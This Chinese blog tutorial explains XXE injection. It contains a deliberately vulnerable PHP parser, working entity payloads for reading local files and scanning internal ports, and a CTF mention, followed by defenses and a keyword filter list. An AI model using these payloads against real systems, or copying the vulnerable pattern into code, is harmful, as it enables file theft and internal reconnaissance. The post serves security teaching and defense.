XXE漏洞

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

类似于文件包含漏洞--通过加载XML文件并调用配置文件,来实现注入

造成漏洞的代码:

<?php
$xml=$_GET['x'];
$data=simplexml_load_file($xml);
var_dump($data);
?>

simplexml_load_file php解析外部实体须在 php << 5.5.38

文件任意读取

读取 file.xml 代码如下:

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///c:/config.ini">
]>
<x>&file;</x>
<!-- 引用外部实体 -->

访问 http://192.168.80.128/test/xml/test.php?x=file.xml

端口扫描

读取 port.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">
]>
<root>
<name>&xxe;</name>
</root>

访问 http://192.168.80.128/test/xml/test.php?x=port.xml

没有报错,说明端口存在并且开放

如果将端口改为不存在的端口 180

访问 http://192.168.80.128/test/xml/test.php?x=port.xml

某CTF题

http://web.jarvisoj.com:9882/

  • 返回信息为 json 格式

  • 然后 burp抓包分析

  • 尝试xml注入,抓包重发

XML后门的利用

php动态创建xml,植入后门

防御XXE攻击

使用开发语言提供禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM 和 PUBLIC。

不允许XML中包含有自己定义的DTD

https://www.cnblogs.com/miyeah/p/4526088.html

外部引入DTD文件

编写XML注入代码

访问 http://192.168.80.128/test/xml/test.php?x=xxe-dtd.xml

可以读取出文件信息达到文件读取利用

渗透之路基础 -- XXE注入漏洞的更多相关文章

  1. 渗透之路基础 -- SQL注入

    目录 mysql注入(上) limit 有两个参数 limit 2,3 表示从2开始查3条 通过MySql内置数据库获取表名 通过MySql内置数据库获取表名对应的列名 mysql注入(中) SQL常 ...

  2. Oracle数据库XXE注入漏洞(CVE-2014-6577)分析

    在这篇文中,我们将共同分析一下Oracle数据库的XXE注入漏洞(CVE-2014-6577),Oracle公司1月20日发布了针对该漏洞的相关补丁. 有关XXE的相关知识,可以查看安全脉搏站内的另一 ...

  3. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  4. 渗透之路基础 -- 跨站脚本攻击XSS

    目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...

  5. 渗透之路基础 -- 服务端请求伪造SSRF

    简介:SSRF 服务器端请求伪造,有的大型网站在web应用上提供了从其他服务器获取数据的功能.使用户指定的URL web应用获取图片,下载文件,读取文件内容.通常用于控制web进而探测内网服务以及攻击 ...

  6. 渗透之路基础 -- 跨站伪造请求CSRF

    漏洞产生原因及原理 跨站请求伪造是指攻击者可以在第三方站点制造HTTP请求并以用户在目标站点的登录态发送到目标站点,而目标站点未校验请求来源使第三方成功伪造请求. XSS利用站点内的信任用户,而CSR ...

  7. 【入门推荐】SQL注入进行WebShell渗透测试的基础概览

    作者:zero 本文为SQL基本注入的进阶文章,如有任何疑问请查看: SQL基本注入演示:https://www.cnblogs.com/anbus/p/10082452.html 导语: 利用SQL ...

  8. XXE外部实体注入漏洞

    XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...

  9. XXE外部实体注入漏洞总结

    XXE 漏洞原理 XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害. 漏洞危害 ...

随机推荐

  1. logrotate 切割日志

    在工作中需要切割日志我们项目中选择的系统自带的logrotate,如需要其他需求需要自己在百度一下或者参考: https://www.cnblogs.com/kevingrace/p/6307298. ...

  2. Electron-Vue使用element-ui el-table不显示/卡死

    我们需要把element-ui加入到.electron-vue/webpack.renderer.config.js文件中的白名单里面 在这句话let whiteListedModules = ['v ...

  3. Navicat 8 For Mysql 数据库的导出与加载

    方便断断续续的数据库实验课,避免每次都要重新写入数据,可使用Navicat的数据库导出功能 数据库的导出 1.选择要导出的数据库,右键点击“转存SQL文件”选项. 2.填写文件名字,选择位置,点击“保 ...

  4. javaScript的高级函数

    1.map() map()方法返回一个新数组,新数组是原始数组调用函数之后处理后的值. map()方法按照原始数组元素顺序依次处理元素. map不会对空数组进行检测. map不会改变原始数组 . 参数 ...

  5. LeetCode 611. 有效三角形的个数(Valid Triangle Number)

    611. 有效三角形的个数 611. Valid Triangle Number 题目描述 LeetCode LeetCode LeetCode611. Valid Triangle Number中等 ...

  6. Netty原理架构解析

    Netty原理架构解析 转载自:http://www.sohu.com/a/272879207_463994本文转载关于Netty的原理架构解析,方便之后巩固复习 Netty是一个异步事件驱动的网络应 ...

  7. Java大厂笔试&&面试集合大全目录

    面试技巧 掌握面试技巧,提升自身软实力! HR面试都会问什么问题?(上) HR面试都会问什么问题?(下) 作为一技术人员,面试前都需要做哪些准备? 面试题 Java各个阶段面试题,帮你提升自我,拿到高 ...

  8. Spring MVC 问题归纳

    记录一些在Spring MVC配置中出现的问题 一.配置tomcat包没有加载 错误: idea调试web项目时出现:java.lang.ClassNotFoundException:org.spri ...

  9. 神奇的print

    一:多看看 1. #大小写转换 ,有大写的 全转化为大写 s = 'fds Kkg' print(s.swapcase()) #下划线等各种插入 s = 'fdsfkg' print('_'.join ...

  10. IP核——RAM

    一.Quartus 1.打开Quartus ii,点击Tools---MegaWizard Plug-In Manager 2.弹出创建页面,选择Creat a new custom megafunc ...